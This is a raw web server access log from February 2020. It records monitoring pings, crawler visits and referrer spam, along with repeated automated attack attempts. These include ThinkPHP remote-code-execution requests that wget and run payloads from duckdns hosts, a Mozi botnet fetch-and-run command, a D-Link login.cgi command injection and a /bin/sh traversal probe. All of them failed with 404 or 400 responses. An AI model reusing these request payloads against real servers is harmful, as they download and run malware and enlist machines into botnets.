197.248.141.70 - - [10/Feb/2020:09:49:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.131.60.52 - - [10/Feb/2020:09:49:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:09:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.23.211 - - [10/Feb/2020:09:50:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [10/Feb/2020:09:52:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [10/Feb/2020:09:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.83.39.128 - - [10/Feb/2020:09:53:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.96.78.84 - - [10/Feb/2020:09:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:09:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.58.123.178 - - [10/Feb/2020:09:55:03 +0100] "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" 404 323 "-" "-"
212.91.246.72 - - [10/Feb/2020:09:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.223.34.197 - - [10/Feb/2020:09:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:10:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.126.142 - - [10/Feb/2020:10:02:46 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [10/Feb/2020:10:02:46 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [10/Feb/2020:10:02:46 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [10/Feb/2020:10:02:47 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [10/Feb/2020:10:02:47 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [10/Feb/2020:10:02:47 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [10/Feb/2020:10:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.191.92.44 - - [10/Feb/2020:10:04:19 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [10/Feb/2020:10:04:23 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [10/Feb/2020:10:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [10/Feb/2020:10:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [10/Feb/2020:10:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:10:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.237.182.34 - - [10/Feb/2020:10:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:10:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.225.113.13 - - [10/Feb/2020:10:11:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.34.250 - - [10/Feb/2020:10:12:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.168.163 - - [10/Feb/2020:10:13:46 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.144 - - [10/Feb/2020:10:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
2.133.20.89 - - [10/Feb/2020:10:13:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.47 - - [10/Feb/2020:10:19:59 +0100] "GET //login_sid.lua HTTP/1.1" 404 318 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.27.1.el6.x86_64"
40.77.167.151 - - [10/Feb/2020:10:20:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [10/Feb/2020:10:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.110.24 - - [10/Feb/2020:10:21:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.221.47 - - [10/Feb/2020:10:21:19 +0100] "GET //login_sid.lua HTTP/1.1" 404 318 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.27.1.el6.x86_64"
212.91.246.72 - - [10/Feb/2020:10:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.47 - - [10/Feb/2020:10:22:05 +0100] "GET //login_sid.lua HTTP/1.1" 404 318 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.27.1.el6.x86_64"
45.143.221.47 - - [10/Feb/2020:10:22:29 +0100] "GET //login_sid.lua HTTP/1.1" 404 318 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.27.1.el6.x86_64"
212.91.246.72 - - [10/Feb/2020:10:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.47 - - [10/Feb/2020:10:23:05 +0100] "GET //login_sid.lua HTTP/1.1" 404 318 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.27.1.el6.x86_64"
34.92.197.105 - - [10/Feb/2020:10:23:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.251.1.209 - - [10/Feb/2020:10:25:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.1.236.96 - - [10/Feb/2020:10:29:01 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.1.236.96 - - [10/Feb/2020:10:29:01 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.1.236.96 - - [10/Feb/2020:10:29:01 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.1.236.96 - - [10/Feb/2020:10:29:01 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.1.236.96 - - [10/Feb/2020:10:29:01 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.1.236.96 - - [10/Feb/2020:10:29:02 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.1.236.96 - - [10/Feb/2020:10:29:02 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.1.236.96 - - [10/Feb/2020:10:29:02 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
194.1.236.96 - - [10/Feb/2020:10:29:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.220.68.4 - - [10/Feb/2020:10:29:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.18.245.207 - - [10/Feb/2020:10:36:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:10:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.228.248.138 - - [10/Feb/2020:10:37:39 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://114.228.248.138:49119/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [10/Feb/2020:10:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.219.98.40 - - [10/Feb/2020:10:46:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
145.255.5.53 - - [10/Feb/2020:10:46:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:10:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.4 - - [10/Feb/2020:10:47:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [10/Feb/2020:10:47:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
80.70.22.118 - - [10/Feb/2020:10:48:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:10:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [10/Feb/2020:10:53:16 +0100] "GET / HTTP/1.1" 200 1229 "https://vksex.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
46.118.121.248 - - [10/Feb/2020:10:53:17 +0100] "GET / HTTP/1.1" 200 1229 "https://vksex.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
46.118.121.248 - - [10/Feb/2020:10:53:17 +0100] "GET / HTTP/1.1" 200 1229 "https://vksex.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
212.91.246.72 - - [10/Feb/2020:10:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.142.249.93 - - [10/Feb/2020:10:55:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.202.212.237 - - [10/Feb/2020:10:56:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:10:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [10/Feb/2020:10:59:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:10:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.99.65.88 - - [10/Feb/2020:10:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:11:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.124.32 - - [10/Feb/2020:11:03:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:11:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:11:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
